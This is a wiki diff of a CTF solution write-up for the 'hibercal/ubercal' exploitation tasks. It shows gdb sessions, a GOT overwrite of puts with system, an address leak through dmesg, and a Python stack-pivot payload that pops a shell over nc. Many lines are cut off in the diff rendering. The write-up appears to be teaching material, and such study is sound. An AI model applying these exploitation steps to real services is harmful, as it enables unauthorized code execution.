This shows you the differences between two versions of the page.
Both sides previous revision Previous revision Next revision | Previous revision | ||
session:solution:mid-ctf_tasks2_4 [2014/07/11 12:35] rcaragea |
session:solution:mid-ctf_tasks2_4 [2020/07/19 12:49] (current) |
||
---|---|---|---|
Line 10: | Line 10: | ||
<code bash> | <code bash> | ||
- | # gdb ./hibercal | + | $ gdb ./hibercal |
gdb-peda$ pdis hibercal | gdb-peda$ pdis hibercal | ||
Dump of assembler code for function hibercal: | Dump of assembler code for function hibercal: | ||
Line 137: | Line 137: | ||
Let's try it. | Let's try it. | ||
<code bash> | <code bash> | ||
- | # | + | $ gdb ./ |
gdb-peda$ p system | gdb-peda$ p system | ||
$1 = {<text variable, no debug info>} 0x80486f0 < | $1 = {<text variable, no debug info>} 0x80486f0 < | ||
gdb-peda$ quit | gdb-peda$ quit | ||
- | # python | + | $ python |
>>> | >>> | ||
134514416 | 134514416 | ||
- | # nc 127.0.0.1 4242 | + | $ nc 127.0.0.1 4242 |
Enter your name: | Enter your name: | ||
Line 161: | Line 161: | ||
</ | </ | ||
+ | |||
+ | |||
+ | ===== Task 4 ===== | ||
+ | |||
+ | This task is said to be more secure than the previous one. Since we have the source to both let's do a diff. | ||
+ | <code diff> | ||
+ | --- hibercal.c 2014-07-06 15: | ||
+ | +++ ubercal.c 2014-07-06 15: | ||
+ | @@ -14,7 +14,7 @@ | ||
+ | { | ||
+ | | ||
+ | | ||
+ | - system(" | ||
+ | + system(" | ||
+ | } | ||
+ | |||
+ | |||
+ | @@ -24,9 +24,14 @@ | ||
+ | | ||
+ | } | ||
+ | |||
+ | -void hibercal(char *name) | ||
+ | +void ubercal() | ||
+ | { | ||
+ | int i, calendar[HIBER]; | ||
+ | + | ||
+ | + char name[100]; | ||
+ | + puts(" | ||
+ | + scanf(" | ||
+ | + | ||
+ | for (i = 0 ; i < HIBER; i++) | ||
+ | | ||
+ | |||
+ | @@ -52,21 +57,12 @@ | ||
+ | |||
+ | void doprocessing(int sockfd) | ||
+ | { | ||
+ | - char buf[100]; | ||
+ | | ||
+ | | ||
+ | | ||
+ | - puts(" | ||
+ | - scanf(" | ||
+ | - hibercal(buf); | ||
+ | + ubercal(); | ||
+ | } | ||
+ | |||
+ | - | ||
+ | - | ||
+ | - | ||
+ | - | ||
+ | - | ||
+ | - | ||
+ | int main(int argc, char **argv) | ||
+ | { | ||
+ | int optval = 1; | ||
+ | @@ -132,7 +128,3 @@ | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | </ | ||
+ | |||
+ | So the code is a bit rearranged. Let's test, as before, what we have on the stack at the point of " | ||
+ | <code bash> | ||
+ | 0x080489c1 < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | End of assembler dump. | ||
+ | gdb-peda$ break *0x080489d5 | ||
+ | Breakpoint 1 at 0x80489d5 | ||
+ | gdb-peda$ run 4242 | ||
+ | Breakpoint 1, 0x080489d5 in ubercal () | ||
+ | gdb-peda$ context stack | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xbfffed5c --> 0x8048a1c (< | ||
+ | 0004| 0xbfffed60 --> 0xb7f9a9e0 --> 0xfbad2887 | ||
+ | 0008| 0xbfffed64 --> 0x0 | ||
+ | 0012| 0xbfffed68 --> 0x8661 | ||
+ | 0016| 0xbfffed6c --> 0xbfffede8 --> 0x0 | ||
+ | 0020| 0xbfffed70 --> 0xb7f99e54 --> 0x1a6d5c | ||
+ | 0024| 0xbfffed74 --> 0xb7f99e54 --> 0x1a6d5c | ||
+ | 0028| 0xbfffed78 --> 0xbfffede8 --> 0x0 | ||
+ | 0032| 0xbfffed7c --> 0x8048bee (< | ||
+ | 0036| 0xbfffed80 --> 0x4 | ||
+ | 0040| 0xbfffed84 --> 0xbfffeda8 --> 0x9ee40002 | ||
+ | 0044| 0xbfffed88 --> 0xbfffedc8 --> 0x10 | ||
+ | 0048| 0xbfffed8c --> 0xbfffedcc --> 0x1 | ||
+ | 0052| 0xbfffed90 --> 0x4 | ||
+ | 0056| 0xbfffed94 --> 0xbfffee84 --> 0xbffff05e ("/ | ||
+ | 0060| 0xbfffed98 --> 0xb7e03060 --> 0x2a1d | ||
+ | |||
+ | [------------------------------------------------------------------------------] | ||
+ | |||
+ | </ | ||
+ | |||
+ | Unfortunately, | ||
+ | <code c> | ||
+ | void ubercal() | ||
+ | { | ||
+ | int i, calendar[HIBER]; | ||
+ | |||
+ | char name[100]; | ||
+ | puts(" | ||
+ | scanf(" | ||
+ | |||
+ | for (i = 0 ; i < HIBER; i++) | ||
+ | calendar[i] = 42; | ||
+ | |||
+ | if (allowed_day == 0) { | ||
+ | printf(" | ||
+ | |||
+ | puts(" | ||
+ | scanf(" | ||
+ | |||
+ | puts(" | ||
+ | scanf(" | ||
+ | } else { | ||
+ | puts(" | ||
+ | } | ||
+ | calendar[allowed_day] = entry; | ||
+ | |||
+ | process_calendar(calendar); | ||
+ | |||
+ | puts(" | ||
+ | puts(name); // < | ||
+ | } | ||
+ | </ | ||
+ | |||
+ | Notice **puts(name)**. Can we replace **puts** with **system**? Let's remember how **puts** works: | ||
+ | |||
+ | <code bash> | ||
+ | gdb-peda$ context code | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | => 0x80488fc < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | Guessed arguments: | ||
+ | arg[0]: 0x8048d0b (" | ||
+ | [------------------------------------------------------------------------------] | ||
+ | |||
+ | gdb-peda$ si | ||
+ | gdb-peda$ context code | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | => 0x80486e0 < | ||
+ | | 0x80486e6 < | ||
+ | | 0x80486eb < | ||
+ | | 0x80486f0 < | ||
+ | | 0x80486f6 < | ||
+ | | 0x80486fb < | ||
+ | | 0x8048700 < | ||
+ | | 0x8048706 < | ||
+ | | 0x804870b < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | JUMP is taken | ||
+ | [------------------------------------------------------------------------------] | ||
+ | gdb-peda$ telescope 0x804a030 | ||
+ | 0000| 0x804a030 --> 0x80486e6 (< | ||
+ | 0004| 0x804a034 --> 0x80486f6 (< | ||
+ | |||
+ | </ | ||
+ | It uses the PLT/GOT mechanism as we discussed in previous sessions. It uses a table of function pointers that initially point back in the program to a resolution procedure. After being called once the function pointers are **written** with the correct address. So the table is writable! We can write the address of system into puts. | ||
+ | |||
+ | But hold on! This would require an absolute arbitrary write while we only have a relative arbitrary write. Can we still solve it? In this case yes, as the keen observer would see that both Tasks 2 & 4 run on the same machine: | ||
+ | * Task 2: HiberCal => exploit task (source provided) | ||
+ | * ec2-54-76-236-87.eu-west-1.compute.amazonaws.com 31337 | ||
+ | * Task 4: UberCal => harder exploit, variation on task 2 **300 points** | ||
+ | * ec2-54-76-236-87.eu-west-1.compute.amazonaws.com 31338 | ||
+ | |||
+ | How does that help us? The analogy is the following: | ||
+ | We have an arbitrary write at **X + 4 * Y = Z**. We control Y but we don't know X. What about Z? | ||
+ | |||
+ | Remember good old Segmentation Fault! If we acess an invalid memory address the program receives SEGV and is killed by the kernel. The kernel also logs to **dmesg** the location of the invalid address. But we have access to **dmesg** on that machine since we solved the previous challenge. | ||
+ | |||
+ | <code bash> | ||
+ | $ nc 127.0.0.1 4242 | ||
+ | Enter your name: | ||
+ | |||
+ | test | ||
+ | You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one! | ||
+ | Which day? | ||
+ | -100000 | ||
+ | What do you want to write? | ||
+ | 1 | ||
+ | $ dmesg|tail -1 | ||
+ | ubercal[23403]: | ||
+ | </ | ||
+ | |||
+ | So Z = 0xbff9d2ac, Y = -100000. It's trivial to solve for X: 0xbfffed4c | ||
+ | |||
+ | If you followed everything so far you know we have all we need for the exploit. | ||
+ | Writing to Z=0x804a030 requires us to use Y= (0x804a030-0xbfffed4c)/ | ||
+ | |||
+ | <code bash> | ||
+ | $ nc 127.0.0.1 4242 | ||
+ | Enter your name: | ||
+ | |||
+ | /bin/sh | ||
+ | You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one! | ||
+ | Which day? | ||
+ | -771674951 | ||
+ | What do you want to write? | ||
+ | 134514422 | ||
+ | date | ||
+ | Fri Jul 11 13:06:50 EEST 2014 | ||
+ | </ | ||
+ | |||
+ | Works as expected! | ||
+ | |||
+ | ==== Solving using Paul's idea (stack pivoting) ==== | ||
+ | During the CTF Paul mentioned that he sees the solution as corrupting the stack frame so that when the function returns you get more " | ||
+ | It's a much more difficult solution but doable. Let's try it. | ||
+ | |||
+ | The whole idea is to use the **leave** and **ret** set of instructions to do some magic. | ||
+ | **leave** esentially does | ||
+ | <code asm> | ||
+ | mov esp, ebp | ||
+ | pop ebp | ||
+ | </ | ||
+ | |||
+ | So the top of the stack now points to the saved ebp and ebp is restored from this new top of the stack. | ||
+ | Remember that we can overwrite the return address. But we can also overwrite the saved ebp just as well. | ||
+ | |||
+ | If we replace ebp with 0x41424344 only the ebp will change. Remember that we would like a primitive that does **mov esp, ARBITRARY**. | ||
+ | Luckily, immediately after **leave** and **ret** the next set of instructions is another **leave** and **ret**. | ||
+ | |||
+ | So the context is the following: | ||
+ | < | ||
+ | Initially: | ||
+ | After leave part1 (mov esp, ebp): ESP = current_ebp | ||
+ | After leave part2 (pop ebp): ESP = current_ebp + 4 EBP = saved_ebp = our_input | ||
+ | |||
+ | After return: | ||
+ | |||
+ | |||
+ | After leave part1 (mov esp, ebp): ESP = our_input, | ||
+ | After leave part2 (pop ebp): ESP = our_input + 4 EBP= first 4 bytes at the address " | ||
+ | |||
+ | After return: | ||
+ | </ | ||
+ | |||
+ | We can control EIP with bytes 4:7 and the stack as well. | ||
+ | We can reuse the instruction at 0x080488d1: | ||
+ | <code asm> | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | We see the call to **system** expects the parameter to be right on the top of the stack. | ||
+ | Our payload should now be like this: | ||
+ | < | ||
+ | 00: value of our_input | ||
+ | 04: 0x080488d1 (call to system) | ||
+ | 08: address that holds the command given to system | ||
+ | 0c: ???? | ||
+ | </ | ||
+ | |||
+ | Since the only buffer we control is the name we want the following: | ||
+ | < | ||
+ | name+00 : address of name | ||
+ | name+04 : 0x080488d1 (call to system) | ||
+ | name+08 : address of name+0c | ||
+ | name+0c : the actual command | ||
+ | </ | ||
+ | |||
+ | All we need now is to find out the address of the **name** buffer. We have the following snippets: | ||
+ | |||
+ | <code asm> | ||
+ | | ||
+ | | ||
+ | | ||
+ | |||
+ | |||
+ | |||
+ | | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | So | ||
+ | < | ||
+ | |||
+ | name = ebp - 0xb0 | ||
+ | calendar = ebp - 0x4c | ||
+ | |||
+ | |||
+ | name - calendar = - 0xb0 + 0x4c = -100 | ||
+ | |||
+ | name = calendar - 100 | ||
+ | </ | ||
+ | But we already know the address of **calendar** from before. It's X from the previous solution using dmesg. | ||
+ | |||
+ | The only thing that remains is to pass the value of ebp correctly. Since **allowed_day** is declared as a signed integer we need to convert it. | ||
+ | |||
+ | The full python script is: | ||
+ | <code python> | ||
+ | # | ||
+ | import struct,sys; | ||
+ | |||
+ | |||
+ | segv_addr = 0xbff9dc5c | ||
+ | calendar_addr = segv_addr + 100000 * 4 | ||
+ | buffer_addr = calendar_addr - 100 | ||
+ | |||
+ | |||
+ | |||
+ | val = struct.unpack("< | ||
+ | |||
+ | sys.stderr.write(" | ||
+ | |||
+ | |||
+ | |||
+ | payload = struct.pack('< | ||
+ | payload += struct.pack('< | ||
+ | payload += struct.pack('< | ||
+ | payload += "/ | ||
+ | |||
+ | print payload | ||
+ | |||
+ | </ | ||
+ | |||
+ | And now we try it: | ||
+ | <code bash> | ||
+ | $ cat <(python gen_input.py) - | nc 127.0.0.1 4242 | ||
+ | Enter your name: | ||
+ | |||
+ | Use 19 and -1073746712 as input | ||
+ | You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one! | ||
+ | Which day? | ||
+ | 19 | ||
+ | What do you want to write? | ||
+ | -1073746712 | ||
+ | Goodbye | ||
+ | èìÿ¿ôìÿ¿/ | ||
+ | date | ||
+ | Fri Jul 11 13:50:37 EEST 2014 | ||
+ | ls | ||
+ | Makefile | ||
+ | README | ||
+ | ubercal | ||
+ | ubercal.c | ||
+ | |||
+ | </ | ||
+ | |||